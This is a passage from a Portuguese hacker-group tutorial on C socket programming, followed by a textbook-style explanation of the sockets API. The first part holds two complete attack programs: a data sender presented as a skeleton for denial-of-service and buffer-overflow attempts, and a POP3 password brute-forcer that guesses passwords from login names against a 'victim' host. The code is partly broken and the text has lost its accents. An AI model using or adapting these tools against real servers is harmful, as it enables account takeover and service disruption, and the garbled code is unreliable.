onde os parmetros equivalem aos mesmos parmetros de send().

Veremos um simples esquema para essas funes, comecando com um programa

que envia dados (uma sequncia de caracter A), atravs da funo write():

-------------------------------------------------------------------------/* PROGRAMA EXEMPLO DE ENVIO DE DADOS USANDO A funo WRITE()


ESSE PROGRAMA FOI DESENVOLVIDO POR NASH LEON P/ TXT SOBRE SOCKETS.
TRANKS RAMONA E UNSEKURITY TEAM.
http://unsekurity.virtualave.net/
Esse programa poder servir como carcaa (esqueleto) para possveis
futuros programas geradores de Denial Of Service.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>

/* O correspondente em hexa do caracter A */

#define A 0x41

main(int argc, char *argv[])


{
int Meusocket, porta, i;
struct sockaddr_in vitima;
struct hostent *he;
char *buf[2000];

if(argc == 1)
{

printf("Programa exemplo de uso de write() e read()\n");


printf("Poder servir como esqueleto para um DoS!!\n");
printf("Uso: %s host porta\n",argv[0]);
exit(0);
}

porta = atoi(argv[2]);

Meusocket=socket(AF_INET,SOCK_STREAM,0);
if(Meusocket < 0)
{
perror("Socket");
exit(-1);
}

he = gethostbyname (argv[1]);
if(he == NULL)
{
herror("Erro!Host desconhecido mano!\n");
exit(-1);
}
vitima.sin_family = he->h_addrtype;
vitima.sin_port = htons(porta);
vitima.sin_addr =*((struct in_addr *)he->h_addr);
bzero(&(vitima.sin_zero), 8);

if(connect(Meusocket,(struct sockaddr *)&vitima, sizeof(vitima)) < 0)


{
fprintf(stderr,"Erro em connect()!!\n");
exit(-1);
}
/* Zeramos o buffer responsvel por conter dados de envio */

bzero(buf,sizeof(buf));

/* Aqui ns enchemos o buffer de envio com o caracter desejado */

for(i=0; i < 1024; i++)


{
buf[i] = (char *) A;
}
buf[1024 -1] = '\0';

/* Finalmente nossa funo write(), que enviar o conteudo de buffer */


printf("Enviando dados!!\n");

if(write(Meusocket,buf,strlen(buf)) < 0)
{
printf("Erro em write()\n");
close(Meusocket);
exit(-1);
}
printf("Dados enviados com sucesso!\n");
close(Meusocket);
return 0;
}
-----------------------------------------------------------------------

Esse programa acima serve somente para enviar dados para um determinado
host e uma determinada porta, voc poderia muito bem declarar um servio
exemplo, ftp, onde se poderia tentar um DoS usando um simples esquema como:

sprintf(buffer,"USER %s",buf);
write(Meusocket,buffer,strlen(buffer));

Lgico, o programa deveria primeiro estar vulnervel a esse overflow, mas


por incrvel que pareca, no so poucos os programas que ainda hoje so
vulnerveis a isso.

Para a funo read(), eu fiz um exemplo mais prtico, mas um pouco grande,
de forma que tentei deixar o mais claro possvel a manipulao dessas duas
funes. O programa que segue abaixo um brutal force que trabalha em cima
de um login dado, ele bsico, faz coisas bsicas, mas voc poder fazer
com que ele seja otimizado, pense! E faa!! Brutal force uma tcnica,
embora muitos no consideram tcnica por causa do nome..:)..mas escrever
um brutal pode ser muito til..ainda hoje em dia na poca de firewalls, isso
ainda vlido.. Veja como o funcionamento do programa, lembre-se:
SABENDO FAZER UM O QUE TE IMPEDE DE FAZER TODOS?

----------------------------*** TERCEIRO EXEMPLO PRTICO |


-----------------------------

/* Programa desenvolvido por Nash Leon para tentar um brutal force


em servidores pop, utilizando permutaes e combinaes num
login. No utiliza arquivos passwd, como a maioria dos brutais por a.
Breve disponibilizarei uma verso mais complexa e atual desse programa.
OBS:Nao me responsabilizo pelo mau uso deste programa, ele foi
construido somente com propsitos educacionais!!
nashleon@yoo.com.br
Thanks Ramona e unsekurity team.
http://unsekurity.virtualave.net
*/

#include <stdio.h>
#include <string.h>

#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORTA 110

int atacar(char *vitima, int porta, char *login, char *senha);


void Un(char *nome1, char *host);
void Uns(char *nome1, char *nome2, char *host);
void Unse(char *nome1, char *host);
void modo_errado();

main(int argc, char *argv[])


{
char senhar[30];

if(argc < 4)
{
system("clear");
fprintf(stderr,"\n\t\t\tNASH LEON BRUTAL FORCE v0.1\n\n\n");
fprintf(stderr,"Desenvolvido por Nash Leon e unsekurity
team!\n");
fprintf(stderr,"http://unsekurity.virtualave.net\n");
fprintf(stderr,"Uso: %s <vitima> <login> <modo>\n\n",argv[0]);
fprintf(stderr,"Onde modo pode ser:\n");
fprintf(stderr,"un -> somente passwd igual a login\n");
fprintf(stderr,"uns
fprintf(stderr,"unse
final(0 a 9)\n");

->passwd igual a login ao contrario\n");


-> passwd igual a login + um nmero no

fprintf(stderr,"unsek -> Todos os modos acima.\n");

exit(0);
}

if(argv[3])
{
if(!strcmp(argv[3],"un"))
{
system("clear");
printf("********************** NASH LEON BRUTAL FORCE
v0.1 **********************\n");
printf("Executando modo \"un\" -> Somente senhas iguais
aos logins!!\n");
printf("Boa sorte mano!!\n");
Un(argv[2], argv[1]);
return 0;
}
if(!strcmp(argv[3],"uns"))
{
system("clear");
printf("*********************** NASH LEON BRUTAL FORCE
v0.1 ***********************\n");
printf("Executando em modo \"unsek\"
login ao contrario!!\n");

-> Senha iguais ao

strcpy(senhar,argv[2]);
Uns(argv[2],senhar,argv[1]);
return 0;
}

if(!strcmp(argv[3],"unse")){
system("clear");
printf("********************** NASH LEON BRUTAL FORCE
v0.1 **********************\n");
printf("Executando em modo \"unse\"
login + nmero(0 a 9)\n");
printf("Boa Sorte Mano!!\n");

-> Senhas igual ao

Unse(argv[2],argv[1]);
return 0;
}

if(!strcmp(argv[3],"unsek")){
system("clear");
printf("********************* NASH LEON BRUTAL FORCE v0.1
*********************\n");
printf("Executando em todos os modos possiveis desta
verso!!\n");
printf("Boa sorte mano!!\n");
Un(argv[2],argv[1]);
Uns(argv[3],senhar,argv[1]);
Unse(argv[2],argv[1]);
return 0;
}
}
modo_errado();
}

void modo_errado()
{
printf("Modo errado\n");
exit(1);
}

void Un(char *nome1, char *host)


{
char senha[30];
int porta = PORTA;
strcpy(senha,nome1);
atacar(host,porta,nome1,senha);
}

atacar(char *vitima, int porta, char *login, char *senha)


{
char templ[512],temps[512], envia[1024],recebe[1024],saida[1024];
int Meusocket, len;
struct hostent *he;
struct sockaddr_in lascado;

he = gethostbyname(vitima);
if (he < 0)
{
printf("Host Desconhecido mano!!\n");
exit(1);
}
Meusocket = socket(AF_INET, SOCK_STREAM, 0);
if(Meusocket < 0)
{
fprintf(stderr,"Erro no socket mano!!\n");
exit(1);
}
lascado.sin_family = he->h_addrtype;
lascado.sin_port = htons(porta);
lascado.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(lascado.sin_zero), 8);

if(connect(Meusocket,(struct sockaddr * )&lascado, sizeof(lascado)) < 0)


{
printf("Erro em connect() mano!!\n");
close(Meusocket);
exit(0);
}
bzero(recebe,sizeof(recebe));

len = read(Meusocket,recebe,strlen(recebe));
sprintf(templ,"USER %s\n",login);

if(write(Meusocket,templ,strlen(templ)) < strlen(templ))


{
fprintf(stderr,"Falha em write()!!\n");
return -1;
}
bzero((char *)&recebe,sizeof(recebe));
if( read(Meusocket,recebe, sizeof(recebe)) < 0)
{
perror("read()");
return -1;
}
recebe[(strlen(recebe)-2)] = '\0';

/* Aqui checa se existe login */

if (strstr(recebe, "+OK") == NULL )


{
return -1;
}
bzero((char *)&envia, sizeof(envia));
read(Meusocket,envia,1024);
bzero((char *)&temps,sizeof(temps));
sprintf(temps,"PASS %s\n",senha);

if(write(Meusocket,temps,strlen(temps)) < strlen(temps))


{
perror("write()");
return -1;
}

if(read(Meusocket,envia,sizeof(envia)) < 0)
{
perror("read()");
return -1;
}
envia[(strlen(envia)-2)] = '\0';

/* Aqui diz se senha correta */

if (strstr(envia, "+OK") != NULL )


{
printf("Password valido mano!!\n");
printf("login \"%s\" possui senha \"%s\".\n",login,senha);
bzero((char *)&saida,sizeof(saida));
sprintf(saida,"%s","QUIT");

write(Meusocket,saida,strlen(saida));
bzero((char *)&saida,sizeof(saida));
bzero((char *)&saida,sizeof(saida));
return 0;
}
bzero((char *)&envia,sizeof(envia));
bzero((char *)&recebe,sizeof(recebe));
bzero((char *)&saida,sizeof(saida));
sprintf(saida,"%s","QUIT");
write(Meusocket,saida,strlen(saida));
bzero((char *)&saida,sizeof(saida));
return 0;
}

void Uns(char *nome1, char *nome2, char *host)

{
int tamanho, i;
int porta = PORTA;
tamanho = strlen(nome1);
for(i = 0; i < tamanho; i++)
{
nome2[i] = (&nome1[tamanho-i]) [-1];
}
nome2[tamanho] = '\0';
atacar(host,porta,nome1,nome2);
}

void Unse(char *nome1, char *host)


{
char senhas[30];
int i;
for(i=0;i<10;++i)
{
sprintf(senhas,"%s%d",nome1,i);
}
atacar(host,PORTA,nome1,senhas);
}

----------------------------------------------------------------------

Bem.a est amigos, um brutal force. No uso da funo read(), eu


coloquei um espao para o terminador nulo como em:

envia[(strlen(envia)-2)] = '\0';

Geralmente isso se faz necessrio. Com esse brutal force, possivel,


com pacincia, logico! Voc conseguir capturar algumas senhas, bem como

shells...gostaria de lembrar, no entanto, que esse no um bom mtodo,


pois deixa muito rastro, bem como existem sistemas que no permitem
conexo de fora na porta 110. Mas pegue os conceitos, com um pouco de
dedicao, voc poder melhorar esse programa, ou mesmo fazer um bem
melhor que tenta em outras portas, ex. porta 80, se possvel na vtima,
seria uma boa. Fecho aqui o ltimo exemplo desse tutorial, espero que
eles tenham sido teis ou sejam teis para voc, lembrando amigo, se voc
achou isso tudo difcil, no desanime, procure outros textos sobre sockets,
existem muitos e melhores do que este, se voc achou fcil, espero que os
conceitos das tcnicas sirvam para voc, bem como digo que em breve,
escreverei algo mais complexo para nutrir seus conhecimentos.

---------------------------------------------*** ALGUNS LINKS SOBRE PROGRAMAO DE SOCKETS |


----------------------------------------------

http://www.lowtek.com/sockets/
http://www.ecst.csuchico.edu/~beej/guide/ne
http://www.auroraonline.com/sock-faq
http://kipper.york.ac.uk/~vic/sock-faq
http://packetstorm.securify.com/programming-tutorials/Sockets/

----------------------------- FIM DO ARQUIVO -----------------------------

############################################################################
############################ UNSEKURITY TEAM ###############################
############################################################################

----------------------------- FIM DO ARQUIVO -----------------------------

------------------

Segundo Texto-----------------

Comunicao de Socket e E/S do UNIX


Como os sockets foram originalmente desenvolvidos como parte do sistema
operacional UNIX, eles empregam muitos conceitos encontrados em outras
partes do UNIX. Em particular, sockets so integrados com a E/S - uma
aplicao se comunica atravs de uma rotina similar ao socket que forma
um caminho para a aplicao transferir dados para um arquivo. Deste
modo, compreender sockets exige que se entenda as facilidades de E/S do
UNIX.

UNIX usa um paradigma open-read-write-close para toda E/S; o nome


derivado das operaes de E/S bsicas que se aplicam tanto a
dispositivos como a arquivos. Por exemplo, um aplicativo deve primeiro
chamar open para preparar um arquivo para acesso. O aplicativo ento
chama read ou write para recuperar dados do arquivo ou armazenar dados
no arquivo. Finalmente, o aplicativo chama close para especificar que
terminou de usar o arquivo.

Quando um aplicativo abre um arquivo ou dispositivo, a chamada open


retorna um descritor, um inteiro pequeno que identifica o arquivo; o
aplicativo deve especificar o descritor ao solicitar transferncia de
dados (isto , o descritor um argumento para o procedimento de read ou
write).

Sockets, Descritores e E/S de Rede


A comunicao de sockets usa tambm a abordagem de descritor. Antes de
uma aplicativo poder usar protocolos para se comunicar, o aplicativo
deve solicitar ao sistema operacional que crie um socket que ser usado
para comunicao. O aplicativo passa o descritor como argumento quando
ele chama procedimentos para transferir dados atravs da rede; o
aplicativo no precisa especificar detalhes sobre o destino remoto cada
vez que transfere dados.

Parmetros e a API de Sockets


A programao de socket difere da E/S convencional porque um aplicativo
deve especificar diversos detalhes para usar um socket. Por exemplo, um
aplicativo deve escolher um protocolo de transporte em particular,
fornecer o endereo de protocolo de uma mquina remota e especificar se
o aplicativo um cliente ou um servidor. Para acomodar todos os
detalhes, cada socket tem diversos parmetros e opes - um aplicativo
pode fornecer valores para cada um deles.

Como opes e argumentos deveriam ser representados em uma API? Para


evitar que exista uma nica funo de socket com argumentos separados
para cada opo, os projetistas da API de sockets escolheram definir
muitas funes. Essencialmente, um aplicativo cria um socket e ento
invoca funes para especificar em detalhes como ser usado o socket. A
vantagem da abordagem de sockets que a maioria das funes tem trs ou
menos argumentos; a desvantagem que um programador deve se lembrar de
chamar mltiplas funes ao usar sockets. As prximas sees ilustram o
conceito.

Procedimentos que Implementam a API de Sockets

O Procedimento Socket

O procedimento socket cria um socket e retorna um descritor inteiro:

descriptor = socket( protofamily, type, protocol )

O argumento protofamily especifica a famlia de protocolos a ser usada


com o socket. Por exmeplo, o valor PF_INET usado para especificar o

sute de protocolo TCP/IP, e PF_DECnet usado para especificar


protocolos da Digital Equipment Corporation.

O argumento type especifica o tipo de comunicao que o socket usar. Os


dois tipos mais comuns so a transferncia de stream orientada conexo
(especificada com o valor SOCK_STREAM) e uma transferncia sem conexo
orientada a mensagens (especificada com o valor SOCK_DGRAM).

O argumento protocol especifica um protocolo de transporte particular


usado com o socket. Ter um argumento protocol alm de um argumento type
permite a um nico sute de protocolo incluir dois ou mais protoclos que
forneam o mesmo servio. Naturalmente, os valores que podem ser usados
com o argumento protocol dependem da famlia de protocolos. Por exemplo,
embora o sute de protocolos TCP/IP inclui o protocolo TCP, o sute
AppleTalk no o inclue.

O Procedimento Close

O procedimento close informa ao sistema para terminar o uso de um socket. Ele


assume a forma:

close(socket)

onde socket o descritor para um socket sendo fechado. Se o socket est


usando um protocolo de transporte orientado conexo, o close termina a
conexo antes de fechar o socket. O fechamento de um socket
imediatamente termina seu uso - o descritor liberado, impedindo que o
aplicativo envie mais dados, e o protocolo de transporte pra de aceitar
mensagens recebidas direcionadas para o socket, impedindo que o
aplicativo receba mais dados.

O Procedimento bind

Quando criado, um socket no tem um endereo local e nem um endereo


remoto. Um servidor usa o procedimento bind para prover um nmero de
porta de protocolo em que o servidor esperar por contato. O bind leva
trs argumentos:

bind( socket, localaddr, addrlen )

O argumento socket o descritor de um socket que foi criado, mas no


previamente amarrado (com bind); a chamada uma requisio que ao
socket seja atribudo um nmero de porta de protocolo particular. O
argumento localaddr uma estrutura que especifica o endereo local a
ser atribudo ao socket, e o argumento addrlen um inteiro que
especifica o comprimento do endereo. Como os sockets podem ser usados
com protocolos arbitrrios, o formato de um endereo depende do
protocolo sendo usado. A API de sockets define uma forma genrica usada
para representar endereos, e ento exige que cada famlia de protocolos
especifique como seus endereos de protocolo usam a forma genrica.

O formato genrico para representar um endereo definido como uma


estrutura sockaddr. Embora vrias verses tenham sido liberadas, o
cdigo de Berkely mais recente define uma estrutura sockaddr com trs
campos:

struct sockaddr {
u_char sa_len;

/* comprimento total do endereo */

u_char sa_family;

/* famlia do endereo

*/

char sa_data[14];

/* o endereo propriamente dito

*/

};

O campo sa_len consiste em um nico octeto que especifica o comprimento


do endereo. O campo sa_family especifica a famlia qual um endereo
pertence (a constante simblica AF_INET usada para endereos TCP/IP).
Finalmente, o campo sa_data contm o endereo. Cada famlia de

protocolos define o formato exato dos endereos usados com o campo


sa_data de uma estrutura sockaddr. Por exemplo, os protocolos TCP/IP
usam a estrutura sockaddr_in para definir um endereo:

struct sockaddr_in {
u_char

sin_len;

/* comprimento total do endereo

*/

u_char

sin_family;

/* famlia do endereo

*/

/* nmero de porta de protocolo

*/

u_short sin_port;
struct

in_addr sin_addr; /* endereo IP de computador

*/

char

sin_zero[8];

*/

/* no usado (inicializado com zero)

};

Os primeiros dois campos da estrutura sockaddr_in correspondem


exatamente aos dois primeiros campos da estrutura genrica sockaddr. Os
ltimos trs campos definem a forma exata do endereo que o protocolo
TCP/IP espera. Existem dois pontos a serem observados. Primeiro, cada
endereo identifica tanto um computador como um aplicativo particular
naquele computador. O campo sin_addr contm o endereo IP do computador,
e o campo sin_port contm o nmero da porta de protocolo de um
aplicativo. Segundo, embora o TCP/IP necessite somente de seis octetos
para armazenar um endereo completo, a estrutura genrica sockaddr
reserva catorze octetos. Deste modo, o campo final da estrutura
sockaddr_in define um campo de 8 octetos de zeros, que preenchem a
estrutura para o mesmo tamanho que sockaddr.

Dissemos que um servidor chama bind para especificar o nmero da porta


de protocolo em que o servidor aceitar um contato. Porm, alm de um
nmero de porta de protocolo, a estrutura sockaddr_in contm um campo
para um endereo IP. Embora um servidor possa escolher preencher o
endereo IP ao especificar um endereo, fazer isso causa problemas
quando um host tiver mltiplas interfaces (multihomed) porque significa
que o servidor aceita apenas requisies enviadas a um endereo
especfico. Para permitir que um servidor opere em um host com mltiplas

interfaces, a API de sockets inclui uma constante simblica especial,


INADDR_ANY, que permite a um servidor usar uma porta especfica em
quaisquer dos endereos IP do computador. Para resumir:

A estrutura sockaddr_in define o formato que o TCP/IP usa para


representar um endereo. Embora a estrutura contenha campos para
endereos IP e nmero de porta de protocolo, a API de sockets inclui uma
constante simblica que permite a um servidor especificar uma porta de
protocolo em quaisquer dos endereos IP do computador.

O Procedimento Listen

Depois de especificar uma porta de protocolo, um servidor deve instruir


o sistema operacional para colocar um socket em modo passivo para que o
socket possa ser usado para esperar pelo contato de clientes. Para fazer
isso, um servidor chama o procedimento listen, que toma dois argumentos:

listen( socket, queuesize )

O argumento socket o descritor de um socket que foi criado e amarrado


a um endereo local, e o argumento queuesize especifica um comprimento
para a fila de requisio do socket.

O sistema operacional cria uma fila de requisio separada para cada


socket. Inicialmente, a fila est vazia. medida que chegam requisies
de clientes, elas so colocadas na fila; quando o servidor pede para
recuperar uma requisio recebida do socket, o sistema retorna a prxima
requisio da fila. Se a fila est cheia quando chega uma requisio, o
sistema rejeita a requisio. Ter uma fila de requisies permite que o
sistema mantenha novas requisies que chegam enquanto o servidor est
ocupado tratando de uma requisio anterior. O argumento permite que
cada servidor escolha um tamanho mximo de fila que apropriado para o

servio esperado.

O Procedimento Accept

Todos os servidores iniciam chamando socket para criar um socket e bind


para especificar um nmero de porta de protocolo. Depois de executar as
duas chamadas, um servidor que usa um protocolo de transporte sem
conexo est pronto para aceitar mensagens. Porm, um servidor que usa
um protocolo de transporte orientado conexo exige passos adicionais
antes de poder receber mensagens: o servidor deve chamar listen para
colocar o socket em modo passivo, e deve ento aceitar uma requisio de
conexo. Uma vez que uma conexo tenha sido aceita, o servidor pode usar
a conexo para se comunicar com um cliente. Depois de terminar a
comunicao, o servidor fecha a conexo.

Um servidor que usa transporte orientado conexo deve chamar o


procedimento accept para aceitar a prxima requisio de conexo. Se uma
requisio est presente na fila, accept retorna imediatamente; se
nenhuma requisio chegou, o sistema bloqueia o servidor at que um
cliente forme uma conexo. A chamada accept tem a forma:

newsock = accept( socket, cadddress, caddresslen )

O argumento socket o descritor de um socket que o servidor criou e


amarrou (bound) a uma porta de protocolo especfica. O argumento
cadddress o endereo de uma estrutura do tipo sockaddr e caddresslen
um ponteiro para um inteiro. Accept preenche os campos do argumento
caddresscaddresslen o comprimento do endereo. Finalmente, accept cria
um novo socket para a conexo e retorna o descritor do novo socket para
quem chamou. O servidor usa o novo socket para se comunicar com o
cliente e ento fecha o socket quando terminou. Enquanto isso, o socket

original do servidor permanece inalterado - depois de terminar a


comunicao com um cliente, o servidor usa o socket original para
aceitar a prxima conexo de um cliente.

O Procedimento Connnect

Os clientes usam o procedimento connect para estabelecer uma conexo com


um servidor especfico. A forma :

connect( socket, saddress, saddresslen )

O argumento socket o descritor de um socket no computador do cliente a


ser usado para a conexo. O argumento saddress uma estrutura sockaddr
que especifica o endereo do servidor e o nmero de porta de protocolo
(a combinao de um endereo IP e um nmero de porta de protocolo s
vezes chamado de um endereo de endpoint). O argumento saddresslen
especifica o comprimento do endereo do servidor medido em octetos.

Quando usado com um protocolo de transporte orientado conexo como


TCP, connect inicia uma conexo em nvel de transporte com o servidor
especificado. Na essncia, connect o procedimento que um cliente usa
para contatar um servidor que tinha chamado accept.

interessante observar que um cliente que usa um protocolo de


transporte sem conexo pode tambm chamar connect. Porm, fazer isso no
inicia uma conexo ou faz com que pacotes cruzem a inter-rede. Em vez
disso, connect meramente marca o socket conectado e registra o endereo
do servidor.

Para entender por que faz sentido conectar com um socket que usa
transporte sem conexo, lembre que protocolos sem conexo exigem que o

remetente especifique um endereo de destino com cada mensagem. Em


muitos aplicativos, porm, um cliente sempre contata um nico servidor.
Deste modo, todas as mensagens vo ao mesmo destino. Em tais casos, um
socket conectado fornece uma taquigrafia - o cliente pode especificar o
endereo do servidor uma nica vez, no sendo necessrio especificar o
endereo com cada mensagem. A questo :

O procedimento connect, que chamado por clientes, tem dois usos.


Quando usado com transporte orientado conexo, connect estabelece uma
conexo de transporte com um servidor especificado. Quando usado com
transporte sem conexo, connect registra o endereo do servidor no
socket, permitindo ao cliente enviar muitas mensagens para o mesmo
servidor sem exigir que o cliente especifique o endereo de destico em
cada mensagem

Os Procedimentos Send, Sendto e Sendmsg

Tanto os clientes quanto os servidores precisam enviar informaes.


Normalmente, um cliente envia uma requisio, e um servidor envia uma
resposta. Se o socket est conectado, o procedimento send pode ser usado
para transferir dados. send tem quatro argumentos:

send( socket, data, length, flags )

O argumento socket o descritor do socket a ser usado, o argumento data


o endereo em memria dos dados a serem enviados, o argumento length
um inteiro que especifica o nmero de octetos de dados, e o argumento
flags contm bits que requisitam opes especiais (muitas opes visam
depurao do sistema e no esto disponveis para programas
convencionais cliente e servidor).

Os procedimentos sendto e sendmsg permitem a um cliente ou servidor


enviar uma mensagem usando um socket no-conectado; ambos exigem que um
destino seja especificado. sendto toma o endereo de destino como um
argumento. Ele toma a forma:

sendto( socket, data, length, flags, destaddress, addresslen )

Os primeiros quatro argumentos correspondem aos quatro argumentos do


procedimento send. Os ltimos dois argumentos especificam o endereo de
um destino e o comprimento daquele endereo. O formato do endereo no
argumento destaddress a estrutura sockaddr (especificamente, a
estrutura sockaddr_in quando usada com TCP/IP).

O procedimento sendmsg executa a mesma operao que sendto, mas abrevia


os argumentos definindo uma estrutura. A lista de argumentos mais curta
pode tornar os programas que usam sendmsg mas fceis de ler:

sendmsg( socket, msgstruct, flags )

O argumento msgstruct uma estrutura que contm informaes sobre o


endereo de destino, o comprimento do endereo, a mensagem a ser enviada
e o comprimento da mensagem:

struct msgstruct {

/* estrutura usada por sendmsg

*/
struct

sockaddr

*m_saddr;

/* pointer para endereo de destino

struct

datavec

*m_dvec;

/* pointer para mensagem (vetor)

*/

*/
int

m_dvlength;

struct

access

/* num. de itens em vetor

*/

direitos
int

*m_rights;

/* pointer para acessar lista de

*/
m_alength;

/* num. de itens em lista

*/
};

Os detalhes da estrutura de mensagem no tm importncia - deve ser


visto como um modo de combinar muitos argumentos em uma nica estrutura.
A maioria dos aplicativos usa apenas os primeiros trs campos, que
especificam um endereo de protocolo de destino e uma lista de itens de
dados que inclui a mensagem.

Os Procedimentos Recv, Recvfrom e Recvmsg

Um cliente e um servidor precisam receber dados enviados pelo outro. A


API de sockets fornece vrios procedimentos que podem ser usados. Por
exemplo, um aplicativo pode chamar recv para receber dados de um socket
conectado. O procedimento tem a forma:

recv( socket, buffer, length, flags )

O argumento socket descritor de um socket a partir do qual dados devem


ser recebidos. O argumento buffer especifica o endereo em memria em
que a mensagem recebida deve ser colocada e o argumento length
especifica o tamanho do buffer. Finalmente, o argumento flags permite
que se controle detalhes (por exempjlo, para permitir a um aplicativo
extrair uma cpia de uma mensagem recebida sem remover a mensagem do
socket).

Se um socket no est conectado, ele pode ser usado para receber


mensagens de um conjunto arbitrrio de clientes. Em tais casos, o
sistema retorna o endereo do remetente junto com cada mensagem
recebida. Os aplicativos usam o procedimento recvfrom para receber uma
mensagem e o endereo do seu remetente:

recvfrom( socket, buffer, length, flags, sndraddr, saddrlen )

Os primeiro quatro argumentos correspondem aos argumentos de recv; os


dois argumentos adicionais, sndraddr e saddrlen, so usados para
registrar o endereo IP do remetente. O argumento sndraddr um ponteiro
para uma estrutura sockaddr em que o sistema escreve o endereo do
remetente, e o argumento saddrlen um ponteiro para um inteiro que o
sistema usa para registrar o comprimento do endereo. recvfrom registra
o endereo do remetente exatamente da mesma forma que sendto espera.
Deste modo, se um aplicativo usa recvfrom para receber uma mensagem,
enviar uma resposta fcil - o aplicativo simplesmente usa o endereo
registrado como um destino para a resposta.

A API de sockets inclui um procedimento de entrada equivalente ao


procedimento de sada sendmsg. O procedimento recvmsg opera como
recvfrom, mas exige menos argumentos. Ele tem a forma:

recvmsg( socket, msgstruct, flags )

onde o argumento msgstruct d o endereo de uma estrutura que possui o


endereo para uma mensagem recebida como tambm posies para o endereo
IP do remetente. O msgstruct registrado por recvmsg usa exatamente o
mesmo formato que a estrutura esperada por sendmsg. Deste modo, os dois
procedimentos funcionam bem para receber uma mensagem e enviar uma

resposta.

Ler e Escrever com Sockets


Dissemos que a API de sockets foi originalmente projetada para ser parte
do UNIX, que usa read e write para E/S. Consequentemente, sockets
permitem que aplicativos tambm usem read e write para transferir dados.
Como send e recv, read e write no tm argumentos que permitam a
especificao de um destino. Em vez disso, read e write tm cada um trs
argumentos: um descritor de socket, a localizao de um buffer em
memria usado para armazenar os dados e o comprimento do buffer de
memria. Deste modo, read e write devem ser usados com sockets
conectados.

A vantagem principal de se usar read e write a generalidade - um


programa aplicativo pode ser criado para transferir dados de ou para um
descritor sem saber se o descritor correponde a um arquivo ou a um
socket. Deste modo, um programador pode usar um arquivo em disco local
para testar um cliente ou servidor antes de tentar se comunicar atravs
de uma rede. A desvantagem principal de se usar read e write que uma
implementao de biblioteca de sockets pode introduzir sobrecarga
adicional na E/S de arquivo em qualquer aplicativo que tambm use
sockets.

Outros Procedimentos de Socket


A API de socktes contm outros procedimentos teis. Por exemplo, aps um
servidor chamar o procedimento accept para aceitar uma requisio de
conexo recebida, o servidor pode chamar o procedimento getpeername para
obter o endereo completo do cliente remoto que inciou a conexo. Um
cliente ou servidor pode chamar tambm gethostname para obter
informaes sobre o computador em que ele est executando.

Dissemos que um socket tem muitos parmetros e opes. Dois

procedimentos de propsito geral so usados para configurar opes de


socket ou obter uma lista de valores correntes. Um aplicativo chama o
procedimento setsockopt para armazenar valores em opes de socket, e o
procedimento getsockopt para obter os valores correntes das opes. As
opes so principalmente usadas para tratar dos casos especiais (por
exemplo, para aumentar o desempenho mudando o tamanho do buffer interno
que o software de protocolo usa).

Dois procedimentos so usados para traduzir entre endereos IP e nomes


de computador. O procedimento gethostbyname retorna o endereo IP para
um computador dado o seu nome. Os clientes usam frequentemente
gethostbyname para traduzir um nome inserido por um usurio em um
endereo IP correpondente exigido pelo software de protocolo.

O procedimento gethostbyaddr fornece um mapeamento inverso - dado um


endereo IP referente a um computador, ele retorna o nome do computador.
Os clientes e servidores podem usar gethostbyaddr ao mostrar informaes
para uma pessoa ler.

Sockets, Threads e Herana


Uma vez que muitos servidores so concorrentes, a API de sockets
projetada para funcionar com programas concorrentes. Embora os detalhes
dependam do sistema operacional subjacente, as implementaes da API de
sockets aderem ao seguinte princpio: Cada novo thread criado herda uma
cpia de todos os sockets abertos do thread que os criou.

Para entender como os servidores usam herana de sockets, importante


saber que os sockets usam um mecanismo de contagem de referncias.
Quando um socket primeiramente criado, o sistema inicializa a contagem
de referncias do socket para 1; o socket existe desde que a contagem de
referncias permanea positiva. Quando um programa cria um thread
adicional, o sistema fornece ao thread uma lista de todos os sockets que

o programa possui e incrementa a contagem de referncias de cada socket


em 1. Quando um thread chama close para um socket, o sistema decrementa
a contagem de referncias no socket em 1 e remove o socket da lista de
threads (se o thread termina antes de fechar os sockets, o sistema chama
automaticamente close em cada um dos sockets abertos que o thread
tinha).

O thread principal de um servidor concorrente cria um socket que o


servidor usa para aceitar conexes recebidas. Quando chega uma
requisio de conexo, o sistema cria um novo socket para a nova
conexo. Logo depois do thread principal criar um thread de servio para
tratar da nova conexo, ambos os threads tm acesso aos sockets novo e
velho, e a contagem de referncias de cada socket tem o valor 2. Porm,
o thread principal no usar o novo socket, e o thread de servio no
usar o socket original. Portanto, o thread principal chama close para o
novo socket, e o thread de servio chama close para o socket original,
reduzindo a contagem de referncia de cada um para 1.

Depois de um thread de servio terminar, ele chama close no novo socket,


reduzindo a contagem de referncia para zero e fazendo com que o socket
seja apagado. Deste modo, o tempo de vida dos sockets em um servidor
concorrente pode ser resumido:

O socket que um servidor concorrente usa para aceitar conexes existe


desde que o thread servidor principal execute; um socket usado para uma
conexo especfica existe apenas enquanto existe o thread para tratar
daquela conexo.

Potrebbero piacerti anche